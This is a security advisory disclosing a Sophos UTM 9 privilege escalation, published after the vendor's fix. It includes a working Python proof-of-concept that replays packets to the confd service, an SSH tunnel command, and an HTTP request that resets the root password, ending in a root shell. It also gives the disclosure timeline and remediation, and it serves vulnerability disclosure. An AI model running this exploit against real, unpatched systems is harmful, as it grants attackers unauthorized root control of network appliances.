KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service Title: Sophos UTM 9 loginuser Privilege Escalation via confd Service Advisory ID: KL-001-2018-007 Publication Date: 2018.03.02 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-007.txt 1. Vulnerability Details Affected Vendor: Sophos Affected Product: UTM 9 Affected Version: 9.410 Platform: Embedded Linux CWE Classification: CWE-306: Missing Authentication for Critical Function (SID generation) Impact: Privilege Escalation Attack vector: SSH 2. Vulnerability Description The attacker must know the password for the loginuser account. The confd client is not available to the loginuser account. However, the running service is accessible over a network port on the loopback interface. By replaying the network traffic required to obtain a SID from this service it is possible to escalate privileges to root. 3. Technical Description 1. Obtain the a privileged session token $ ssh -Nf -L 127.0.0.1:4472:127.0.0.1:4472 loginuser@1.3.3.7 loginuser@1.3.3.7's password: $ python kl-loginuser-confd-priv_esc.py pojiZSqWEUAUDNIQtSop 2. Using that session token, set the root password POST /webadmin.plx HTTP/1.1 Host: 1.3.3.7:4444 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.5.1.1 Content-Type: application/json; charset=UTF-8 Referer: https://1.3.3.7:4444/ Content-Length: 422 Cookie: SID=pojiZSqWEUAUDNIQtSop DNT: 1 Connection: close {"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic", "root_pw_2": "korelogic", "loginuser_pw_1": "loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}], "SID": "pojiZSqWEUAUDNIQtSop", "browser": "gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID": "1490305723111_0.8089407793028881", "current_uuid": "2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false} HTTP/1.1 200 OK Date: Thu, 23 Mar 2017 15:33:53 GMT Server: Apache Expires: Thursday, 01-Jan-1970 00:00:01 GMT Pragma: no-cache X-Frame-Options: SAMEORIGIN X-Content-Type-Option: nosniff X-XSS-Protection: 1; mode=block Vary: Accept-Encoding Connection: close Content-Type: application/json; charset=utf-8 Content-Length: 178895 {"SID":"pojiZSqWEUAUDNIQtSop","ipv6":false,"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",[snip over 9000] 3. Look for success message. "objs":[{"success":[{"text":"Shell user password(s) set successfully."}] 4. Profit. loginuser@[redacted]:/home/login > su Password: [redacted]:/home/login # id uid=0(root) gid=0(root) groups=0(root),890(xorp) 4. Mitigation and Remediation Recommendation The vendor has addressed this vulnerability in version 9.508. Release notes and download instructions can be found at: https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-508-released 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.21 - KoreLogic submits vulnerability details to Sophos. 2017.07.21 - Sophos acknowledges receipt. 2017.09.01 - 30 business days have elapsed since the vulnerability was reported to Sophos. 2017.09.15 - KoreLogic requests an update on the status of this and other vulnerabilities reported to Sophos. 2017.09.18 - Sophos informs KoreLogic that this issue will require additional engineering and requests an extension of the disclosure timeline. 2017.09.25 - 45 business days have elapsed since the vulnerability was reported to Sophos. 2017.11.07 - 75 business days have elapsed since the vulnerability was reported to Sophos. 2017.12.14 - 100 business days have elapsed since the vulnerability was reported to Sophos. 2018.01.12 - KoreLogic requests an update from Sophos. 2018.01.15 - Sophos informs KoreLogic that the expected release date for the UTM 9.5 MR 6 version containing the mitigation is the middle of February. 2018.01.16 - 120 business days have elapsed since the vulnerability was reported to Sophos. 2018.02.28 - 150 business days have elapsed since the vulnerability was reported to Sophos. 2018.03.01 - UTM 9.508 released by Sophos. 2018.03.02 - KoreLogic public disclosure. 7. Proof of Concept from socket import socket,AF_INET,SOCK_STREAM class Exploit: def __init__(self): self.host = '127.0.0.1' self.port = 4472 self.connected = False self.s = None return None def disconnect(self): self.s.close() return True def send_trigger(self): packet_one = '00000039050702000000050a0a43616c6c4d6574686f6404110b41737461726f3a3a52504303000000000a036765740a04697076360a06737461747573'.decode('hex') self.s.send(packet_one) self.s.recv(4096) packet_two = '00000099050702000000040a094e657748616e646c650a037379730a036e65770403000000060a0f636f6e66642d636c69656e742e706c00000006636c69656e7417000000000870617373776f72640a093132372e302e302e31000000066173675f69700a093132372e302e302e31000000026970170673797374656d00000008757365726e616d65170673797374656d00000008666163696c697479'.decode('hex') self.s.send(packet_two) self.s.recv(4096) packet_three = '0000002f05070200000003170a43616c6c4d6574686f6404110b41737461726f3a3a525043030000000017076765745f534944'.decode('hex') self.s.send(packet_three) print self.s.recv(4096).strip() return True def connect(self): self.s = socket(AF_INET, SOCK_STREAM) self.s.connect((self.host,self.port)) self.connected = True return True def run(self): self.connect() self.send_trigger() self.disconnect() return True if __name__=="__main__": Exploit().run() The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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